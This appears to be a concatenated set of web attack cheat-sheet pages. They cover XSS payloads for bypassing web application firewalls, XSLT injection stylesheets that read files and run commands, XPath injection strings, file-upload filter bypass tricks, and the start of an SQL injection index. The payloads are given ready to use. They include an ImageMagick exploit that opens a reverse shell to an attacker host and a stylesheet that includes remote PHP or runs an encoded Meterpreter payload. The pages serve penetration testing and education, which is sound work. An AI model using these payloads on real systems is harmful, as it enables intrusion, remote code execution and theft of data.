### Cloudflare XSS Bypasses by [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)

#### 25st January 2021

```html
<svg/onrandom=random onload=confirm(1)>
<video onnull=null onmouseover=confirm(1)>
```

#### 21st April 2020

```html
<svg/OnLoad="`${prompt``}`">
```

#### 22nd August 2019

```html
<svg/onload=%26nbsp;alert`bohdan`+
```

#### 5th June 2019

```html
1'"><img/src/onerror=.1|alert``>
```

#### 3rd June 2019

```html
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
```

### Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10)

```
<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
```

### Cloudflare XSS Bypass - 27th February 2018

```html
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
```

### Chrome Auditor - 9th August 2018

```javascript
</script><svg><script>alert(1)-%26apos%3B
```

Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert\(1\)-%26apos%3B)

### Incapsula WAF Bypass by [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)- 8th March 2018

```javascript
anythinglr00</script><script>alert(document.domain)</script>uxldz

anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
```

### Incapsula WAF Bypass by [@c0d3G33k](https://twitter.com/c0d3G33k) - 11th September 2018

```javascript
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
```

### Incapsula WAF Bypass by [@daveysec](https://twitter.com/daveysec/status/1126999990658670593) - 11th May 2019

```html
<svg onload\r\n=$.globalEval("al"+"ert()");>
```

### Akamai WAF Bypass by [@zseano](https://twitter.com/zseano) - 18th June 2018

```javascript
?"></script><base%20c%3D=href%3Dhttps:\mysite>
```

### Akamai WAF Bypass by [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480) - 28th October 2018

```html
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
```

### WordFence WAF Bypass by [@brutelogic](https://twitter.com/brutelogic) - 12th September 2018

```javascript
<a href=javas&#99;ript:alert(1)>
```

### Fortiweb WAF Bypass by [@rezaduty](https://twitter.com/rezaduty) - 9th July 2019

```javascript
\u003e\u003c\u0068\u0031 onclick=alert('1')\u003e
```

## References

* [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)
* tbm
* [(Relative Path Overwrite) RPO XSS - Infinite Security](http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html)
* [RPO TheSpanner](http://www.thespanner.co.uk/2014/03/21/rpo/)
* [RPO Gadget - innerthmtl](http://blog.innerht.ml/rpo-gadgets/)
* [Relative Path Overwrite - Detectify](http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite)
* [XSS ghettoBypass - d3adend](http://d3adend.org/xss/ghettoBypass)
* [XSS without HTML: Client-Side Template Injection with AngularJS](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)
* [XSSING WEB PART - 2 - Rakesh Mane](http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html)
* [Making an XSS triggered by CSP bypass on Twitter. @tbmnull](https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5)
* [Ways to alert(document.domain) - @tomnomnom](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309)
* [D1T1 - Michele Spagnuolo and Lukas Wilschelbaum - So We Broke All CSPs](https://conference.hitb.org/hitbsecconf2017ams/materials/D1T1%20-%20Michele%20Spagnuolo%20and%20Lukas%20Wilschelbaum%20-%20So%20We%20Broke%20All%20CSPS.pdf)
* [Sleeping stored Google XSS Awakens a $5000 Bounty](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by Patrik Fehrenbach
* [RPO that lead to information leakage in Google](http://blog.innerht.ml/rpo-gadgets/) by filedescriptor
* [God-like XSS, Log-in, Log-out, Log-in](https://whitton.io/articles/uber-turning-self-xss-into-good-xss/) in Uber by Jack Whitton
* [Three Stored XSS in Facebook](http://www.breaksec.com/?p=6129) by Nirgoldshlager
* [Using a Braun Shaver to Bypass XSS Audit and WAF](https://blog.bugcrowd.com/guest-blog-using-a-braun-shaver-to-bypass-xss-audit-and-waf-by-frans-rosen-detectify) by Frans Rosen
* [An XSS on Facebook via PNGs & Wonky Content Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/) by Jack Whitton
* [Stored XSS in \*.ebay.com](https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/) by Jack Whitton
* [Complicated, Best Report of Google XSS](https://sites.google.com/site/bughunteruniversity/best-reports/account-recovery-xss) by Ramzes
* [Tricky Html Injection and Possible XSS in sms-be-vip.twitter.com](https://hackerone.com/reports/150179) by secgeek
* [Command Injection in Google Console](http://www.pranav-venkat.com/2016/03/command-injection-which-got-me-6000.html) by Venkat S
* [Facebook's Moves - OAuth XSS](http://www.paulosyibelo.com/2015/12/facebooks-moves-oauth-xss.html) by PAULOS YIBELO
* [Stored XSS in Google Docs (Bug Bounty)](http://hmgmakarovich.blogspot.hk/2015/11/stored-xss-in-google-docs-bug-bounty.html) by Harry M Gertos
* [Stored XSS on developer.uber.com via admin account compromise in Uber](https://hackerone.com/reports/152067) by James Kettle (albinowax)
* [Yahoo Mail stored XSS](https://klikki.fi/adv/yahoo.html) by Klikki Oy
* [Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)](http://mksben.l0.cm/2016/07/xxn-caret.html) by Masato Kinugawa
* [Youtube XSS](https://labs.detectify.com/2015/06/06/google-xss-turkey/) by fransrosen
* [Best Google XSS again](https://sites.google.com/site/bughunteruniversity/best-reports/openredirectsthatmatter) - by Krzysztof Kotowicz
* [IE & Edge URL parsing Problem](https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/) - by detectify
* [Google XSS subdomain Clickjacking](http://sasi2103.blogspot.sg/2016/09/combination-of-techniques-lead-to-dom.html)
* [Microsoft XSS and Twitter XSS](http://blog.wesecureapp.com/xss-by-tossing-cookies/)
* [Google Japan Book XSS](http://nootropic.me/blog/en/blog/2016/09/20/%E3%82%84%E3%81%AF%E3%82%8A%E3%83%8D%E3%83%83%E3%83%88%E3%82%B5%E3%83%BC%E3%83%95%E3%82%A3%E3%83%B3%E3%82%92%E3%81%97%E3%81%A6%E3%81%84%E3%81%9F%E3%82%89%E3%81%9F%E3%81%BE%E3%81%9F%E3%81%BEgoogle/)
* [Flash XSS mega nz](https://labs.detectify.com/2013/02/14/how-i-got-the-bug-bounty-for-mega-co-nz-xss/) - by frans
* [Flash XSS in multiple libraries](https://olivierbeg.com/finding-xss-vulnerabilities-in-flash-files/) - by Olivier Beg
* [xss in google IE, Host Header Reflection](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html)
* [Years ago Google xss](http://conference.hitb.org/hitbsecconf2012ams/materials/D1T2%20-%20Itzhak%20Zuk%20Avraham%20and%20Nir%20Goldshlager%20-%20Killing%20a%20Bug%20Bounty%20Program%20-%20Twice.pdf)
* [xss in google by IE weird behavior](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html)
* [xss in Yahoo Fantasy Sport](https://web.archive.org/web/20161228182923/http://dawgyg.com/2016/12/07/stored-xss-affecting-all-fantasy-sports-fantasysports-yahoo-com-2/)
* [xss in Yahoo Mail Again, worth $10000](https://klikki.fi/adv/yahoo2.html) by Klikki Oy
* [Sleeping XSS in Google](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by securityguard
* [Decoding a .htpasswd to earn a payload of money](https://blog.it-securityguard.com/bugbounty-decoding-a-%F0%9F%98%B1-00000-htpasswd-bounty/) by securityguard
* [Google Account Takeover](http://www.orenh.com/2013/11/google-account-recovery-vulnerability.html#comment-form)
* [AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2](http://www.geekboy.ninja/blog/airbnb-bug-bounty-turning-self-xss-into-good-xss-2/) by geekboy
* [Uber Self XSS to Global XSS](https://httpsonly.blogspot.hk/2016/08/turning-self-xss-into-good-xss-v2.html)
* [How I found a $5,000 Google Maps XSS (by fiddling with Protobuf)](https://medium.com/@marin_m/how-i-found-a-5-000-google-maps-xss-by-fiddling-with-protobuf-963ee0d9caff#.cktt61q9g) by Marin MoulinierFollow
* [Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor turns into Eight Vulnerabilities](https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/) by Brett
* [XSSI, Client Side Brute Force](http://blog.intothesymmetry.com/2017/05/cross-origin-brute-forcing-of-saml-and.html)
* [postMessage XSS on a million sites - December 15, 2016 - Mathias Karlsson](https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/)
* [postMessage XSS Bypass](https://hackerone.com/reports/231053)
* [XSS in Uber via Cookie](http://zhchbin.github.io/2017/08/30/Uber-XSS-via-Cookie/) by zhchbin
* [Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP](https://hackerone.com/reports/207042) by frans
* [XSS due to improper regex in third party js Uber 7k XSS](http://zhchbin.github.io/2016/09/10/A-Valuable-XSS/)
* [XSS in TinyMCE 2.4.0](https://hackerone.com/reports/262230) by Jelmer de Hen
* [Pass uncoded URL in IE11 to cause XSS](https://hackerone.com/reports/150179)
* [Twitter XSS by stopping redirection and javascript scheme](http://blog.blackfan.ru/2017/09/devtwittercom-xss.html) by Sergey Bobrov
* [Auth DOM Uber XSS](http://stamone-bug-bounty.blogspot.hk/2017/10/dom-xss-auth_14.html)
* [Managed Apps and Music: two Google reflected XSSes](https://ysx.me.uk/managed-apps-and-music-a-tale-of-two-xsses-in-google-play/)
* [App Maker and Colaboratory: two Google stored XSSes](https://ysx.me.uk/app-maker-and-colaboratory-a-stored-google-xss-double-bill/)
* [XSS in www.yahoo.com](https://www.youtube.com/watch?v=d9UEVv3cJ0Q\&feature=youtu.be)
* [Stored XSS, and SSRF in Google using the Dataset Publishing Language](https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html)
* [Stored XSS on Snapchat](https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd)
* [XSS cheat sheet - PortSwigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
* [mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations - Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Z. Yang](https://cure53.de/fp170.pdf)
* [Self Closing Script](https://twitter.com/PortSwiggerRes/status/1257962800418349056)
* [Bypass < with ＜](https://hackerone.com/reports/639684)
* [Bypassing Signature-Based XSS Filters: Modifying Script Code](https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code)


# XSLT Injection

> Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code

## Summary

* [Tools](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [Exploit](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
  * [Determine the vendor and version](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
  * [External Entity](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
  * [Read files and SSRF using document](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
  * [Remote Code Execution with Embedded Script Blocks](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
  * [Remote Code Execution with PHP wrapper](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
  * [Remote Code Execution with Java](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
  * [Remote Code Execution with Native .NET](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [References](broken://pages/rtsFIE5ZZgGXjPn3ipmp)

## Tools

## Exploit

### Determine the vendor and version

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
	<xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
```

### External Entity

```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    Fruits &ext_file;:
    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>

</xsl:stylesheet>
```

### Read files and SSRF using document

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('http://172.16.132.1:25')"/>
    <xsl:copy-of select="document('/etc/passwd')"/>
    <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    Fruits:
	    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>
```

### Remote Code Execution with Embedded Script Blocks

```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>

  <xsl:template match="/fruits">
  --- BEGIN COMMAND OUTPUT ---
	<xsl:value-of select="user:execute()"/>
  --- END COMMAND OUTPUT ---	
  </xsl:template>
</xsl:stylesheet>
```

### Remote Code Execution with PHP wrapper

Execute the function `readfile`.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>
```

Execute the function `scandir`.

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
        <xsl:template match="/">
                <xsl:value-of name="assert" select="php:function('scandir', '.')"/>
        </xsl:template>
</xsl:stylesheet>
```

Execute a remote php file using `assert`

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
		<xsl:variable name="payload">
			include("http://10.10.10.10/test.php")
		</xsl:variable>
		<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>
```

Execute a PHP meterpreter using PHP wrapper.

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
        <xsl:template match="/">
                <xsl:variable name="eval">
                        eval(base64_decode('Base64-encoded Meterpreter code'))
                </xsl:variable>
                <xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
        </xsl:template>
</xsl:stylesheet>
```

### Remote Code Execution with Java

```xml
  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
      <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
      <xsl:variable name="processString" select="ob:toString($process)"/>
      <xsl:value-of select="$processString"/>
    </xsl:template>
  </xsl:stylesheet>
```

```xml
<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
```

### Remote Code Execution with Native .NET

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
        public string ToShortDateString(string date)
          {
              System.Diagnostics.Process.Start("cmd.exe");
              return "01/01/2001";
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
      <TABLE>
        <xsl:for-each select="Test">
          <TR>
          <TD>
            <xsl:value-of select="App:ToShortDateString(TestDate)" />
          </TD>
          </TR>
        </xsl:for-each>
      </TABLE>
    </xsl:template>
  </xsl:stylesheet>
```

## References

* [From XSLT code execution to Meterpreter shells - 02 July 2012 - @agarri](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
* [XSLT Injection - Fortify](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
* [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/)


# XPATH injection

> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

## Summary

* [Exploitation](broken://pages/rtTm733HVm3ZFFKDKOQ8)
* [Blind exploitation](broken://pages/rtTm733HVm3ZFFKDKOQ8)
* [Out Of Band Exploitation](broken://pages/rtTm733HVm3ZFFKDKOQ8)
* [Tools](broken://pages/rtTm733HVm3ZFFKDKOQ8)
* [References](broken://pages/rtTm733HVm3ZFFKDKOQ8)

## Exploitation

Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"`

```sql
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c
```

## Blind Exploitation

1. Size of a string

   ```sql
   and string-length(account)=SIZE_INT
   ```
2. Extract a character

   ```sql
   substring(//user[userid=5]/username,2,1)=CHAR_HERE
   substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
   ```

## Out Of Band Exploitation

```powershell
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
```

## Tools

* [xcat](https://github.com/orf/xcat) - Automate XPath injection attacks to retrieve documents
* [xxxpwn](https://github.com/feakk/xxxpwn) - Advanced XPath Injection Tool
* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn_smart) - A fork of xxxpwn using predictive text
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR) - Xpath injection exploitation tool

## References

* [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_\(OTG-INPVAL-010\))
* [Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)


# Upload Insecure Files

> Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

## Summary

* [Tools](broken://pages/BFI52OrmiPGsp4hfcEiG)
* [Exploits](broken://pages/BFI52OrmiPGsp4hfcEiG)
  * [Defaults extensions](broken://pages/BFI52OrmiPGsp4hfcEiG)
  * [Upload tricks](broken://pages/BFI52OrmiPGsp4hfcEiG)
  * [Filename vulnerabilities](broken://pages/BFI52OrmiPGsp4hfcEiG)
  * [Picture upload with LFI](broken://pages/BFI52OrmiPGsp4hfcEiG)
  * [Configuration Files](broken://pages/BFI52OrmiPGsp4hfcEiG)
  * [CVE - Image Tragik](broken://pages/BFI52OrmiPGsp4hfcEiG)
  * [CVE - FFMpeg](broken://pages/BFI52OrmiPGsp4hfcEiG)
  * [ZIP Archive](broken://pages/BFI52OrmiPGsp4hfcEiG)
* [References](broken://pages/BFI52OrmiPGsp4hfcEiG)

## Tools

* [Fuxploider](https://github.com/almandin/fuxploider)
* [Burp > Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa)
* [ZAP > FileUpload AddOn](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/)

## Exploits

### Defaults extensions

* PHP Server

  ```powershell
  .php
  .php3
  .php4
  .php5
  .php7

  # Less known PHP extensions
  .pht
  .phps
  .phar
  .phpt
  .pgif
  .phtml
  .phtm
  .inc
  ```
* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0), shell.soap`
* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf`
* Perl: `.pl, .pm, .cgi, .lib`
* Coldfusion: `.cfm, .cfml, .cfc, .dbm`

### Upload tricks

* Use double extensions : `.jpg.php`
* Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
* Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
* Null byte (works well against `pathinfo()`)
  * `.php%00.gif`
  * `.php\x00.gif`
  * `.php%00.png`
  * `.php\x00.png`
  * `.php%00.jpg`
  * `.php\x00.jpg`
* Special characters
  * Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
  * Whitespace characters: `file.php%20`, `file.php%0d%0a.jpg`
  * Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
  * Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp`
  * Multiple special characters: `file.jsp/././././.`
* Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
  * `Content-Type : image/gif`
  * `Content-Type : image/png`
  * `Content-Type : image/jpeg`
  * Set the Content-Type twice: once for unallowed type and once for allowed.
* [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
  * Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
    * PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[`
    * JPG: `\xff\xd8\xff`
    * GIF: `GIF87a` OR `GIF8;`
  * Shell can also be added in the metadata
* Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")

### Filename vulnerabilities

* Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
* LFI Payloads: e.g. `image.png../../../../../../../etc/passwd`
* XSS Payloads e.g. `'"><img src=x onerror=alert(document.domain)>.extension`
* File Traversal e.g. `../../../tmp/lol.png`
* Command Injection e.g. `; sleep 10;`

### Picture upload with LFI

Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.

* Picture Metadata, hide the payload inside a comment tag in the metadata.
* Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.

### Configuration Files

If you are trying to upload files to a :

* PHP server, take a look at the .htaccess trick to execute code.
* ASP server, take a look at the .config trick to execute code.

Configuration files examples

* .htaccess
* web.config
* httpd.conf
* \_\_init\_\_.py

Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.

* package.json

  ```js
  "scripts": {
      "prepare" : "/bin/touch /tmp/pwned.txt"
  }
  ```
* composer.json

  ```js
  "scripts": {
      "pre-command-run" : [
      "/bin/touch /tmp/pwned.txt"
      ]
  }
  ```

### CVE - Image Tragik

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

```powershell
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```

More payload in the folder `Picture Image Magik`

### CVE - FFMpeg

FFmpeg HLS vulnerability

### ZIP archive

When a ZIP/archive file is automatically decompressed after the upload

* Zip Slip: directory traversal to write a file somewhere else

  ```python
  python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15

  ln -s ../../../index.php symindex.txt
  zip --symlinks test.zip symindex.txt
  ```

## References

* Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil
* [BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA](https://secgeek.net/bookfresh-vulnerability/)
* [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0)
* [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap)
* [Arbitrary File Upload Tricks In Java - pyn3rd](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/)


# SQL injection

> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.

Attempting to manipulate SQL queries may have goals including:

* Information Leakage
* Disclosure of stored data
* Manipulation of stored data
* Bypassing authorisation controls

## Summary

* [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md)
* [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
* [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md)
* [CheatSheet PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
* [CheatSheet SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
* [CheatSheet Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
* [Entry point detection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [DBMS Identification](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [SQL injection using SQLmap](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Basic arguments for SQLmap](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Load a request file and use mobile user-agent](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Custom injection in UserAgent/Header/Referer/Cookie](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Second order injection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Shell](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Crawl a website with SQLmap and auto-exploit](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Using TOR with SQLmap](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Using a proxy with SQLmap](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Using Chrome cookie and a Proxy](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Using suffix to tamper the injection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [General tamper option and tamper's list](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [SQLmap without SQL injection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [Authentication bypass](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Authentication Bypass (Raw MD5 SHA1)](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [Polyglot injection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [Routed injection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
